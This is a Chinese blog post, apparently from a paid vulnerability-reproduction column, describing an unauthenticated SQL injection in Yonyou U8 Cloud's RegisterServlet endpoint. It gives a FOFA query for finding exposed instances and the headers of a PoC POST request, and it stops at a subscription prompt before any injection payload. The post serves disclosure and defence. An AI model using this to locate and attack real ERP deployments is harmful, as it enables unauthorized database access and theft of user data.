用友U8 Cloud RegisterServlet SQL注入漏洞复现

最新推荐文章于 2024-09-12 15:54:41 发布

0xSecl

最新推荐文章于 2024-09-12 15:54:41 发布

阅读量884

点赞数 8

分类专栏：漏洞复现文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_41904294/article/details/134818060

版权

漏洞复现专栏收录该内容

871 篇文章 1428 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了用友U8 Cloud的RegisterServlet存在的SQL注入漏洞，该漏洞可能导致未授权攻击者窃取用户数据。文章涵盖了漏洞概述、影响范围、复现环境及修复建议，提醒用户关注安全更新。

摘要由CSDN通过智能技术生成

0x01 产品简介

用友U8 Cloud是用友推出的新一代云ERP，主要聚焦成长型、创新型企业，提供企业级云ERP整体解决方案。

0x02 漏洞概述

用友U8 Cloud RegisterServlet接口处存在SQL注入漏洞，未授权的攻击者可通过此漏洞获取数据库权限，从而盗取用户数据，造成用户信息泄露。

0x03 影响范围

所有版本

0x04 复现环境

FOFA：app="用友-U8-Cloud"

0x05 漏洞复现

PoC

POST /servlet/RegisterServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1

了解本专栏